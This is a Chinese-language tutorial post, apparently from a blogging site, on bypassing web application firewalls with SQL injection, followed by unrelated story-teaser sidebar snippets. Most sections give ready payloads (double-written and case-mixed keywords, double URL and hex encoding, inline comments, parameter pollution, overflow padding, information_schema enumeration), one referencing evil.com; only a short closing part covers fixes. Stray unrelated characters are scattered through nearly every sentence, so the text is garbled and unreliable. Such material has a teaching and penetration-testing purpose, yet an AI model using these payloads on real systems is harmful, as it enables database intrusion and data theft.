sql注入繞過技術(shù)分析

一、WAF介紹

傳統(tǒng)防火墻只是在第三層(網(wǎng)絡(luò)層)有效的阻斷一些數(shù)據(jù)包;而隨著web應(yīng)用的功能越來越豐富的時(shí)候叹卷,Web服務(wù)器因?yàn)槠鋸?qiáng)大的計(jì)算能力,處理性能坪它,蘊(yùn)含較高的價(jià)值骤竹,成為主要的被攻擊目標(biāo)(第五層應(yīng)用層),由此WAF應(yīng)運(yùn)而生往毡。

WAF稱為web應(yīng)用防火墻蒙揣,是通過執(zhí)行一系列針對(duì)HTTP,HTTPS的安全策略,來專門對(duì)web應(yīng)用开瞭,提供保護(hù)的一款產(chǎn)品懒震。WAF初期是基于規(guī)則防護(hù)的防護(hù)設(shè)備罩息;基于規(guī)則的防護(hù),可以提供各種web應(yīng)用的安全規(guī)則个扰,waf生產(chǎn)商去維護(hù)這個(gè)規(guī)則庫(kù)瓷炮,并實(shí)時(shí)為其更新,用戶按照這些規(guī)則递宅,可以對(duì)應(yīng)用進(jìn)行全方面的保護(hù)娘香。

常見特征

審計(jì)設(shè)備:用來截獲所有HTTP數(shù)據(jù)或者僅僅滿足某些規(guī)則的會(huì)話

訪問控制設(shè)備:用來控制對(duì)Web應(yīng)用的訪問,既包括主動(dòng)安全模式也包括被動(dòng)安全模式

架構(gòu)/網(wǎng)絡(luò)設(shè)計(jì)工具:當(dāng)運(yùn)行在反向代理模式办龄,他們被用來分配職能烘绽,集中控制,虛擬基礎(chǔ)結(jié)構(gòu)等俐填。

WEB應(yīng)用加固工具:這些功能增強(qiáng)被保護(hù)Web應(yīng)用的安全性安接,它不僅能夠屏蔽WEB應(yīng)用固有弱點(diǎn),而且能夠保護(hù)WEB應(yīng)用編程錯(cuò)誤導(dǎo)致的安全隱患英融。

常見特點(diǎn)

? 異常檢測(cè)協(xié)議:拒絕不符合HTTP標(biāo)準(zhǔn)的請(qǐng)求

? 增強(qiáng)的輸入驗(yàn)證:代理和服務(wù)端的驗(yàn)證盏檐,而不只是限于客戶端驗(yàn)證

? 白名單&黑名單:白名單適用于穩(wěn)定的We應(yīng)用,黑名單適合處理已知問題

? 基于規(guī)則和基于異常的保護(hù):基于規(guī)則更多的依賴黑名單機(jī)制矢赁,基于異常更為靈活

? 狀態(tài)管理:重點(diǎn)進(jìn)行會(huì)話保護(hù)

? 另還有:Cookie保護(hù)糯笙、抗入侵規(guī)避技術(shù)贬丛、響應(yīng)監(jiān)視和信息泄露保護(hù)等

WAF的識(shí)別掃描器

? 掃描器指紋(head字段/請(qǐng)求參數(shù)值)撩银,以wvs為例,會(huì)有很明顯的Acunetix 在內(nèi)的標(biāo)識(shí)

? 單IP+ cookie某時(shí)間段內(nèi)觸發(fā)規(guī)則次數(shù)

?隱藏的鏈接標(biāo)簽等

?Cookie植入

?驗(yàn)證碼驗(yàn)證豺憔,掃描器無法自動(dòng)填充驗(yàn)證碼

?單IP請(qǐng)求時(shí)間段內(nèi)Webserver返回http狀態(tài)404比例额获, 掃描器探測(cè)敏感目錄基于字典,找不到文件則返回404

二恭应、繞過技術(shù)

1. 雙寫繞過

? 舉例:?id=1

? 訪問?id=1 and 1=1 頁(yè)面報(bào)錯(cuò) 1=1抄邀,發(fā)現(xiàn)and被過濾,這時(shí)候嘗試使用雙寫 的方式繞過昼榛,如aanndd 1=1境肾,當(dāng)and被過濾后,aanndd變成了and胆屿,所以 這時(shí)傳輸數(shù)據(jù)庫(kù)的語句是and 1=1 奥喻,如果當(dāng)訪問 order by 錯(cuò)誤信息為?der by?這發(fā)現(xiàn)過濾了or,這雙寫or非迹,后面注入和union注入的一致环鲤。

2. 大小寫繞過

? 大小寫繞過用于只針對(duì)小寫或大寫的關(guān)鍵字匹配技術(shù),正則表達(dá)式 /express/i 大小寫不敏感即無法繞過憎兽,這是最簡(jiǎn)單的繞過技術(shù)

? 舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

? 示例場(chǎng)景可能的情況為filter的規(guī)則里有對(duì)大小寫轉(zhuǎn)換的處理冷离,但不是每個(gè) 關(guān)鍵字或每種情況都有處理

3. 替換關(guān)鍵字

? 這種情況下大小寫轉(zhuǎn)化無法繞過吵冒,而且正則表達(dá)式會(huì)替換或刪除select、 union這些關(guān)鍵字西剥,如果只匹配一次就很容易繞過

? 舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

? 同樣是很基礎(chǔ)的技術(shù)痹栖,有些時(shí)候甚至構(gòu)造得更復(fù)雜:SeLSeselectleCTecT, 不建議對(duì)此抱太大期望

4. 編碼繞過注入

URL編碼

訪問id=1’,發(fā)現(xiàn)頁(yè)面報(bào)出Mysql錯(cuò)誤瞭空,接著訪問id=1 and 1=1 和id=1 and 1=2 時(shí)结耀,發(fā)現(xiàn)and被攔截,嘗試使用URL全編碼的方式繞過攔截匙铡。由于服務(wù)器會(huì) 自動(dòng)對(duì)URL進(jìn)行一次URL編碼图甜,所以需要把關(guān)鍵字編碼兩次,這里需要注意的地方是鳖眼,URL編碼需要選擇全編碼黑毅,而不是普通的URL編碼。

如: 關(guān)鍵字and進(jìn)行兩次URL全編碼的結(jié)果是%25%36%31%25%36%65%25%36%34钦讳, 訪問id=1 %25%36%31%25%36%65%25%36%34 1=1時(shí)矿瘦,頁(yè)面返回和id=1相同, 訪問id=1 %25%36%31%25%36%65%25%36%34 1=2時(shí)愿卒,和id=1不同缚去,所以該頁(yè)面一定存在sql注入漏洞。

后面的注入過程與union注入一致琼开,只需判斷過濾的關(guān)鍵詞易结,并經(jīng)過兩次URL 全編碼即可。

十六進(jìn)制編碼

target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代碼中柜候,前者是對(duì)單個(gè)字符十六進(jìn)制編碼搞动,后者則是對(duì)整個(gè)字符串編碼

Unicode編碼

? Unicode有所謂的標(biāo)準(zhǔn)編碼和非標(biāo)準(zhǔn)編碼,假設(shè)我們用的utf-8為標(biāo)準(zhǔn)編碼渣刷,那么西歐語系所使用的就是非標(biāo)準(zhǔn)編碼了

? 看一下常用的幾個(gè)符號(hào)的一些Unicode編碼:

? 單引號(hào): %u0027鹦肿、%u02b9、%u02bc辅柴、%u02c8箩溃、%u2032、%uff07碌嘀、%c0%27涣旨、%c0%a7、%e0%80%a7

? 空格:%u0020筏餐、%uff00开泽、%c0%20、%c0%a0魁瞪、%e0%80%a0

? 左括號(hào):%u0028穆律、%uff08惠呼、%c0%28、%c0%a8峦耘、%e0%80%a8

? 右括號(hào):%u0029剔蹋、%uff09、%c0%29辅髓、%c0%a9泣崩、%e0%80%a9

? 舉例:?id=1%D6‘%20AND%201=2%23

? SELECT ‘?’=‘A’; #1

? 兩個(gè)示例中,前者利用雙字節(jié)繞過洛口,比如對(duì)單引號(hào)轉(zhuǎn)義操作變成’矫付,那么就變成了%D6%5C’,%D6%5C構(gòu)成了 一個(gè)寬字節(jié)即Unicode字節(jié)第焰,單引號(hào)可以正常使用

? 第二個(gè)示例使用的是兩種不同編碼的字符的比較买优,它們比較的結(jié)果可能是True或者False,關(guān)鍵在于Unicode 編碼種類繁多挺举,基于黑名單的過濾器無法處理所以情況杀赢,從而實(shí)現(xiàn)繞過

? 另外平時(shí)聽得多一點(diǎn)的可能是utf-7的繞過,還有utf-16湘纵、utf-32的繞過脂崔,后者從成功的實(shí)現(xiàn)對(duì)google的繞過, 有興趣的朋友可以去了解下

? 常見的編碼當(dāng)然還有二進(jìn)制梧喷、八進(jìn)制砌左,它們不一定都派得上用場(chǎng),但后面會(huì)提到使用二進(jìn)制的例

5. 使用注釋

普通注釋

? 常見的用于注釋的符號(hào): //, – , /**/, #, – +, – - , ; 伤柄, – a

? 舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

? 'union%a0select pass from users#

? /**/在構(gòu)造得查詢語句中插入注釋绊困,規(guī)避對(duì)空格的依賴或關(guān)鍵字識(shí)別;#文搂、-+用于終結(jié)語句的查詢

內(nèi)聯(lián)注釋

? 相比普通注釋适刀,內(nèi)聯(lián)注釋用的更多,它有一個(gè)特性/!**/只有MySQL能識(shí)別

? 舉例:

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

?? ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLE ct*/%0A/*nnaa*/+1,2,3,4…


? 兩個(gè)示例中前者使用內(nèi)聯(lián)注釋煤蹭,后者還用到了普通注釋笔喉。使用注釋一個(gè)很有用的做法便是對(duì)關(guān)鍵字的拆分,要做到這一點(diǎn)后面討論的特殊符號(hào)也能實(shí)現(xiàn)硝皂,當(dāng)然前提是包括/常挚、*在內(nèi)的這些字符能正常使用

6. 等價(jià)函數(shù)與命令

某些函數(shù)或命令,因?yàn)閃AF的過濾機(jī)制導(dǎo)致我們無法使用稽物。那么奄毡,我們也可以嘗試用一些等價(jià)函數(shù)來替代它們

1.函數(shù)或變量

? hex()、bin() ==> ascii()

? sleep() ==>benchmark()

? concat_ws()==>group_concat()

? mid()贝或、substr() ==> substring()

? @@user ==> user()

? @@datadir ==> datadir()


2.符號(hào)

? and和or有可能不能使用吼过,或者可以試下&&和||能不能用锐秦;還有=不能使用的情況,可以考慮嘗試<盗忱、>酱床,因?yàn)槿绻恍∮谟植淮笥冢潜愕扔诹?/p>

? 如 id=1 or 1=1 可以換成 id=1 or 1!=2

? 在看一下用得多的空格趟佃,可以使用如下符號(hào)表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函數(shù)

? ? MySQL/PostgreSQL支持XML函數(shù):Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);? ? ? ? ?

? ? ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

? ? SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

? ? ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

扇谣、

? MySQL、PostgreSQL闲昭、Oracle它們都有許多自己的函數(shù)罐寨,基于黑名單的 filter要想涵蓋這么多東西從實(shí)際上來說不太可能,而且代價(jià)太大序矩,看來黑名單技術(shù)到一定程度便遇到了限制衩茸。

7. 特殊符號(hào)

? 這里把非字母數(shù)字的字符都規(guī)在了特殊符號(hào)一類,特殊符號(hào)有特殊的含義和用法贮泞,涉及信息量比前面提到的幾種都要多

? 幾個(gè)例子:

? 1.使用反引號(hào)楞慈,例如select version()`,可以用來過空格和正則啃擦,特殊情況下還可以將其做注釋符用

? 2.神奇的"-+."囊蓝,select+id-1+1.from users; ?+?是用于字符串連接的,?-?和?.? 在此也用于連接令蛉,可以逃過空格和關(guān)鍵字過濾

? 3.@符號(hào)聚霜,select@^1.from users; @用于變量定義如@ var_name ,一個(gè)@表示用戶定義珠叔,@@表示系統(tǒng)變量

? 4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過空格限制

? 發(fā)揮大作用的字符(未包括’蝎宇、*、/等在內(nèi)祷安,考慮到前面已經(jīng)出現(xiàn)較多次了): `姥芥、~、!汇鞭、@凉唐、%、()霍骄、[]台囱、.、-读整、+ 簿训、|、%00

8. HTTP參數(shù)控制

? 通過提供多個(gè)參數(shù)=相同名稱的值集來混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ – ‘在某些情況下(例如使用 Apache/PHP)强品,應(yīng)用程序?qū)H解析最后(第二個(gè)) id= 而WAF只解析第一 個(gè)豺总。在應(yīng)用程序看來這似乎是一個(gè)合法的請(qǐng)求,因此應(yīng)用程序會(huì)接收并處理這些惡意輸入择懂。如今喻喳,大多數(shù)的WAF都不會(huì)受到HTTP參數(shù)污染(HPP) 的影響,但仍然值得一試困曙。

? 1.HPP(HTTP Parameter Polution)

? 舉例:

/?id=1;select+1,2,3+from+users+where+id=1--

1

/?id=1;select+1&id=2,3+from+users+where+id=1--

1

/?id=1/**/union/&id=/select/&id=/pwd/&id=/from/&id=/users

? HPP又稱做重復(fù)參數(shù)污染表伦,最簡(jiǎn)單的就是?uid=1&uid=2&uid=3,對(duì)于這種 情況慷丽,不同的Web服務(wù)器處理方式如下

2.HPF(HTTP Parameter Fragment)

? 這種方法是HTTP分割注入蹦哼,同CRLF有相似之處(使用控制字符%0a、%0d等執(zhí)行換行)

? 舉例:

?? /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

1

? select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

? 看罷上面兩個(gè)示例要糊,發(fā)現(xiàn)和HPP最后一個(gè)示例很像纲熏,不同之處在于參數(shù)不 一樣,這里是在不同的參數(shù)之間進(jìn)行分割锄俄,到了數(shù)據(jù)庫(kù)執(zhí)行查詢時(shí)再合并 語句局劲。

? 3.HPC(HTTP Parameter Contamination)

? RFC2396定義了如下一些字符:

? Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ’ () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `

不同的Web服務(wù)器處理處理構(gòu)造得特殊請(qǐng)求時(shí)有不同的邏輯:

以魔術(shù)字符%為例,Asp/Asp.net會(huì)受到影響

9. 緩沖區(qū)溢出(Advanced)

? 緩沖區(qū)溢出用于對(duì)付WAF奶赠,有不少WAF是C語言寫的鱼填,而C語言自身沒有緩沖區(qū)保護(hù)機(jī)制,因此如果WAF在處理測(cè)試向量時(shí)超出了其緩沖區(qū)長(zhǎng)度毅戈,就會(huì)引發(fā)bug從而實(shí)現(xiàn)繞過

? 舉例:

? ? ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26


? 示例0xA*1000指0xA后面?A"重復(fù)1000次苹丸,一般來說對(duì)應(yīng)用軟件構(gòu)成緩沖區(qū)溢出都需要較大的測(cè)試長(zhǎng)度,這里1000只做參考苇经,在某些情況下可能不需要這么長(zhǎng)也能溢出

10. 整合繞過

? 整合的意思是結(jié)合使用前面談到的各種繞過技術(shù)赘理,單一的技術(shù)可能無法繞過過濾機(jī)制,但是多種技術(shù)的配合使用成功的可能性就會(huì)增加不少了扇单。這一方面來說是總體與局部和的關(guān)系商模,另一方面則是多種技術(shù)的使用創(chuàng)造了更多的可能性, 除非每一種技術(shù)單獨(dú)都無法使用令花,否則它們能產(chǎn)生比自身大得多的能量阻桅。

? target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…?

? id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

? ?id=5+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATIO N_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--


11. SQL修復(fù)建議

? 常用得SQL注入漏洞得修復(fù)方法有兩種

? 1.過濾危險(xiǎn)字符

? 多數(shù)CMS都采用過濾字符的方式,例如兼都,采用正則表達(dá)式匹配union、 sleep稽寒、load_file等關(guān)鍵字扮碧,如果匹配到,則退出程序。

? 2.使用預(yù)編譯語句

? 其實(shí)使用PDO預(yù)編譯語句慎王,需要注意的是蚓土,不要將變量直接拼接到PDO語 句中,而是使用占位符進(jìn)行數(shù)據(jù)庫(kù)的增加赖淤、刪除蜀漆、修改、查詢咱旱。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末确丢,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子吐限,更是在濱河造成了極大的恐慌鲜侥,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,602評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件诸典,死亡現(xiàn)場(chǎng)離奇詭異描函,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)狐粱,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,442評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門舀寓,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人肌蜻,你說我怎么就攤上這事基公。” “怎么了宋欺?”我有些...
    開封第一講書人閱讀 152,878評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵轰豆,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我齿诞,道長(zhǎng)酸休,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,306評(píng)論 1 279
  • 正文 為了忘掉前任祷杈,我火速辦了婚禮斑司,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘但汞。我一直安慰自己宿刮,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,330評(píng)論 5 373
  • 文/花漫 我一把揭開白布私蕾。 她就那樣靜靜地躺著僵缺,像睡著了一般。 火紅的嫁衣襯著肌膚如雪踩叭。 梳的紋絲不亂的頭發(fā)上磕潮,一...
    開封第一講書人閱讀 49,071評(píng)論 1 285
  • 那天翠胰,我揣著相機(jī)與錄音,去河邊找鬼自脯。 笑死之景,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的膏潮。 我是一名探鬼主播抱怔,決...
    沈念sama閱讀 38,382評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼析恋,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起沫勿,我...
    開封第一講書人閱讀 37,006評(píng)論 0 259
  • 序言:老撾萬榮一對(duì)情侶失蹤共缕,失蹤者是張志新(化名)和其女友劉穎沪斟,沒想到半個(gè)月后士飒,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,512評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡讲岁,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,965評(píng)論 2 325
  • 正文 我和宋清朗相戀三年我擂,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片缓艳。...
    茶點(diǎn)故事閱讀 38,094評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡校摩,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出阶淘,到底是詐尸還是另有隱情衙吩,我是刑警寧澤,帶...
    沈念sama閱讀 33,732評(píng)論 4 323
  • 正文 年R本政府宣布溪窒,位于F島的核電站坤塞,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏澈蚌。R本人自食惡果不足惜摹芙,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,283評(píng)論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望宛瞄。 院中可真熱鬧浮禾,春花似錦、人聲如沸份汗。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,286評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽杯活。三九已至匆帚,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間轩猩,已是汗流浹背卷扮。 一陣腳步聲響...
    開封第一講書人閱讀 31,512評(píng)論 1 262
  • 我被黑心中介騙來泰國(guó)打工荡澎, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留均践,地道東北人晤锹。 一個(gè)月前我還...
    沈念sama閱讀 45,536評(píng)論 2 354
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像彤委,于是被迫代替她去往敵國(guó)和親鞭铆。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,828評(píng)論 2 345